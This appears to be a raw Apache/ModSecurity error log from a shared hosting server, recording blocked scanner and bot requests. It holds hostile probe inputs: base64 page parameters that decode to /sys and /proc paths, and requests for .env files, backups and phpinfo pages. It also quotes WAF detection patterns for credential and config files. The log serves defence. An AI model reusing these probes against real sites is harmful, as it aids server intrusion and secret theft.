https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:17:58.694858 2026] [security2:error] [pid 648189:tid 648444] [client 185.177.72.9:53094] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo1.php"] [unique_id "ai3zNlWSojQL4F7upKBqTwAAAN4"] [Sat Jun 13 18:17:58.893015 2026] [access_compat:error] [pid 646876:tid 646930] [remote 216.73.216.223:38812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:58.893577 2026] [access_compat:error] [pid 646876:tid 646930] [remote 216.73.216.223:38812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:58.975784 2026] [security2:error] [pid 648189:tid 648377] [client 185.177.72.9:53108] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo2.php"] [unique_id "ai3zNlWSojQL4F7upKBqXQAAAJ0"] [Sat Jun 13 18:17:59.024531 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.19:30424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:59.024961 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.19:30424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:59.175627 2026] [security2:error] [pid 648189:tid 648255] [remote 17.241.227.173:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 173.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zN1WSojQL4F7upKBqYAAAuSE"] [Sat Jun 13 18:17:59.225356 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvd2FrZXVwL3dha2V1cDMzL2RldmljZS9pbnB1dC9pbnB1dDAvZGV2aWNl [Sat Jun 13 18:17:59.225637 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvd2FrZXVwL3dha2V1cDMzL2RldmljZS9pbnB1dC9pbnB1dDAvZGV2aWNl [Sat Jun 13 18:17:59.241437 2026] [security2:error] [pid 648189:tid 648424] [client 185.177.72.9:53122] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo3.php"] [unique_id "ai3zN1WSojQL4F7upKBqYQAAAMs"] [Sat Jun 13 18:17:59.339831 2026] [security2:error] [pid 646876:tid 646973] [remote 17.22.245.122:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 122.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zN9yTkdrNlD40tSGysAAAbV4"] [Sat Jun 13 18:17:59.502740 2026] [security2:error] [pid 648189:tid 648463] [client 185.177.72.9:53130] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo4.php"] [unique_id "ai3zN1WSojQL4F7upKBqagAAAO0"] [Sat Jun 13 18:17:59.563590 2026] [security2:error] [pid 646876:tid 646914] [remote 198.57.247.165:45470] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 165.247.57.198.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yearlingrv.com"] [uri "/wp-login.php"] [unique_id "ai3zN9yTkdrNlD40tSGyvAAAJiM"] [Sat Jun 13 18:17:59.746688 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:17:59.746969 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:17:59.764079 2026] [security2:error] [pid 648189:tid 648448] [client 185.177.72.9:53146] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfodev.php"] [unique_id "ai3zN1WSojQL4F7upKBqdwAAAOI"] [Sat Jun 13 18:18:00.029864 2026] [security2:error] [pid 646876:tid 647088] [client 185.177.72.9:53160] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfos.php"] [unique_id "ai3zONyTkdrNlD40tSGyzwAAAFA"] [Sat Jun 13 18:18:00.064057 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.76:30679] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:00.064640 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.76:30679] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:00.067986 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.97:35178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:00.068273 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.97:35178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:00.127613 2026] [security2:error] [pid 646876:tid 647028] [client 74.7.228.54:40142] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "301"] [hostname "www.loohan.com"] [uri "/robots.txt"] [unique_id "ai3zONyTkdrNlD40tSGy1gAAABQ"] [Sat Jun 13 18:18:00.303760 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:18:00.304206 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:18:00.337504 2026] [security2:error] [pid 646876:tid 647057] [client 74.7.228.54:58592] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "301"] [hostname "www.loohan.com"] [uri "/index.php"] [unique_id "ai3zONyTkdrNlD40tSGy4QAAMS0"], referer: http://www.loohan.com/robots.txt [Sat Jun 13 18:18:00.400100 2026] [security2:error] [pid 648189:tid 648340] [remote 17.246.15.237:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 237.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zOFWSojQL4F7upKBqiAAAo3U"] [Sat Jun 13 18:18:00.508016 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.106:58111] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:00.508267 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.106:58111] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:00.509911 2026] [security2:error] [pid 648189:tid 648438] [client 74.7.228.54:58602] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "loohan.com"] [uri "/index.php"] [unique_id "ai3zOFWSojQL4F7upKBqigAA2VM"], referer: https://www.loohan.com/robots.txt [Sat Jun 13 18:18:00.536810 2026] [security2:error] [pid 648189:tid 648223] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "mail.lthssolar.com"] [uri "/app/.env"] [unique_id "ai3zOFWSojQL4F7upKBqjgAA9QM"] [Sat Jun 13 18:18:00.536972 2026] [security2:error] [pid 648189:tid 648471] [client 88.151.32.61:57642] ModSecurity: Warning. Matched phrase "CCBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "mail.lthssolar.com"] [uri "/app/.env"] [unique_id "ai3zOFWSojQL4F7upKBqjgAA9QM"] [Sat Jun 13 18:18:00.579193 2026] [access_compat:error] [pid 648189:tid 648263] [remote 74.7.242.16:59928] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:18:00.579455 2026] [access_compat:error] [pid 648189:tid 648263] [remote 74.7.242.16:59928] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:18:00.593052 2026] [security2:error] [pid 646876:tid 647059] [client 172.56.168.133:11382] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zONyTkdrNlD40tSGy7QAAADM"] [Sat Jun 13 18:18:00.593183 2026] [security2:error] [pid 646876:tid 647059] [client 172.56.168.133:11382] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zONyTkdrNlD40tSGy7QAAADM"] [Sat Jun 13 18:18:00.597470 2026] [security2:error] [pid 646876:tid 647077] [client 185.177.72.9:53168] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpsysinfo.php"] [unique_id "ai3zONyTkdrNlD40tSGy7gAAAEU"] [Sat Jun 13 18:18:00.599902 2026] [security2:error] [pid 648189:tid 648292] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "mail.lthssolar.com"] [uri "/admin/.env"] [unique_id "ai3zOFWSojQL4F7upKBqkwAA-0Y"] [Sat Jun 13 18:18:00.601296 2026] [security2:error] [pid 648189:tid 648286] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "mail.lthssolar.com"] [uri "/.env.bak"] [unique_id "ai3zOFWSojQL4F7upKBqkgAA-0A"] [Sat Jun 13 18:18:00.601946 2026] [security2:error] [pid 648189:tid 648254] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.lthssolar.com"] [uri "/backend/.env"] [unique_id "ai3zOFWSojQL4F7upKBqlAAA-yA"] [Sat Jun 13 18:18:00.637434 2026] [autoindex:error] [pid 646876:tid 647102] [client 187.45.55.215:26966] AH01276: Cannot serve directory /home4/mensapra/public_html/gapteckconsult/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:18:00.652712 2026] [security2:error] [pid 648189:tid 648233] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "mail.lthssolar.com"] [uri "/.env.backup"] [unique_id "ai3zOFWSojQL4F7upKBqlgAA6A0"] [Sat Jun 13 18:18:00.679172 2026] [access_compat:error] [pid 648189:tid 648268] [remote 57.141.14.90:21840] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:00.679515 2026] [access_compat:error] [pid 648189:tid 648268] [remote 57.141.14.90:21840] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:00.690638 2026] [security2:error] [pid 646876:tid 647132] [client 74.7.228.54:58592] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "301"] [hostname "www.loohan.com"] [uri "/index.php"] [unique_id "ai3zONyTkdrNlD40tSGy8wAAfGo"] [Sat Jun 13 18:18:00.730477 2026] [security2:error] [pid 646876:tid 646918] [remote 17.22.253.64:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zONyTkdrNlD40tSGy9wAANSc"] [Sat Jun 13 18:18:00.771828 2026] [security2:error] [pid 648189:tid 648436] [client 74.7.228.54:58602] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "loohan.com"] [uri "/index.php"] [unique_id "ai3zOFWSojQL4F7upKBqmgAA11Q"], referer: https://www.loohan.com/robots.txt [Sat Jun 13 18:18:00.787785 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9wb3dlcg== [Sat Jun 13 18:18:00.788215 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9wb3dlcg== [Sat Jun 13 18:18:00.862795 2026] [security2:error] [pid 646876:tid 647090] [client 185.177.72.9:53176] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpsysinfo/info.php"] [unique_id "ai3zONyTkdrNlD40tSGy-wAAAFI"] [Sat Jun 13 18:18:00.967001 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.76:30695] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:00.967450 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.76:30695] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:01.127087 2026] [security2:error] [pid 646876:tid 647094] [client 185.177.72.9:53190] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpsysinfo/phpinfo.php"] [unique_id "ai3zOdyTkdrNlD40tSGzCAAAAFY"] [Sat Jun 13 18:18:01.319421 2026] [access_compat:error] [pid 646876:tid 646938] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 